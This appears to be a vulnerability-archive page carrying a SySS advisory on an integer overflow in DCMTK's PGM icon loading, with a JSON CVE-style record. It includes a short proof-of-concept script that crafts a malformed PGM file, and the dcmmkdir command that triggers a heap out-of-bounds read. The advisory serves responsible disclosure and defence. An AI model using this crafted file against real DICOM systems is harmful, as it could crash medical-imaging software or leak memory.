#!/bin/bash printf 'P5\n4294967295 4294967295\n255\n' > demo.pgm printf '\x00' >> demo.pgm EOF If this PGM file is processed by a vulnerable DCMTK component like dcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation fault in this proof-of-concept example. The DICOM file PAT001 does not contain pixel data and thus forces a fallback to the default icon. dcmmkdir +X --default-icon demo.pgm PAT001 E: no pixel data found in DICOM dataset W: cannot create monochrome icon from image file, using default ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 534e146b672ccd13d1a2b134ef623840e775396a (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-046 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Assigner
    References
    Impacted products
    Vendor Product Version
    Dicom DICOM Toolkit Affected: unknown
    		Create a notification for this product.
    Credits
    Matthias Deeg via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-046\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s DICOMDIR icon image loading is vulnerable to an integer overflow\nin the PGM image size calculation. An attacker who can supply a\nmalicious PGM file referenced as an external icon can cause a heap\nout-of-bounds read in the icon scaler, leading to a process crash or\npotential information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc\n(line 4489) computes the PGM image buffer size by multiplying the width\nand height parsed from the PGM file header:\n\n  unsigned int pgmWidth, pgmHeight = 0;\n  // ... values parsed from PGM file via sscanf()\n  const unsigned long pgmSize = pgmWidth * pgmHeight;\n  Uint8 *pgmData = new Uint8[pgmSize];\n\nBoth pgmWidth and pgmHeight are unsigned int. Their product is computed\nas unsigned int, and only then assigned to unsigned long.\n\nOn any platform where unsigned int is 32 bits, a crafted PGM file with the\ndimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow\n(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).\n\nThe allocation \"new Uint8[1]\" succeeds, and fread() reads exactly 1 byte\nfrom the PGM file.\n\nThe icon scaler is invoked at line 4505 of dcddirif.cc:\n\n  result = ImagePlugin-\u003escaleData(pgmData, pgmWidth, pgmHeight,\n                                  pixel, width, height);\n\nThe scaler implementation (DicomDirImageImplementation::scaleData in\ndcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from\nunsigned int to Uint16 without validation:\n\n  DiScaleTemplate\u003cUint8\u003e scale(1,\n      OFstatic_cast(Uint16, srcWidth),   // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, srcHeight),  // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, dstWidth),\n      OFstatic_cast(Uint16, dstHeight),\n      1);\n  scale.scaleData(OFstatic_cast(const Uint8 **, \u0026srcData),\n                  \u0026dstData, 1 /* interpolate */);\n\nThe DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,\nline 148) stores the truncated dimensions:\n\n  DiScaleTemplate(const int planes,\n                  const Uint16 src_cols,   // resolution of source image\n                  const Uint16 src_rows,\n                  const Uint16 dest_cols,\n                  const Uint16 dest_rows,\n                  const Uint32 frames,\n                  const int bits = 0)\n\nThe scaleData() method (line 187) then iterates over the source image\nusing the truncated dimensions (65535 * 65535), reading from the 1-byte\nheap allocation through the interpolatePixel() method, causing a heap\nout-of-bounds read.\n\nThe root cause is the unchecked cast from unsigned int to Uint16 in the\nscaler (ddpiimpl.cc:60), which silently truncates dimensions without any\nbounds validation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe integer overflow can be demonstrated using a specially crafted PGM\nfile. The following shell script exemplarily creates such a file named\ndemo.pgm:\n\ncat \u003e create_pgm.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\nprintf \u0027P5\\n4294967295 4294967295\\n255\\n\u0027 \u003e demo.pgm\nprintf \u0027\\x00\u0027 \u003e\u003e demo.pgm\nEOF\n\nIf this PGM file is processed by a vulnerable DCMTK component like\ndcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation\nfault in this proof-of-concept example. The DICOM file PAT001 does not\ncontain pixel data and thus forces a fallback to the default icon.\n\ndcmmkdir +X --default-icon demo.pgm PAT001\nE: no pixel data found in DICOM dataset\nW: cannot create monochrome icon from image file, using default\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n534e146b672ccd13d1a2b134ef623840e775396a (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-046\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/24"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0023",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24",
            "automated": true,
            "contentSha256": "3fe43991bbc456a96307ac83f61414a6bd51af98439dd5d1de4bdfbd1709ab9c",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T07:57:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0023"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}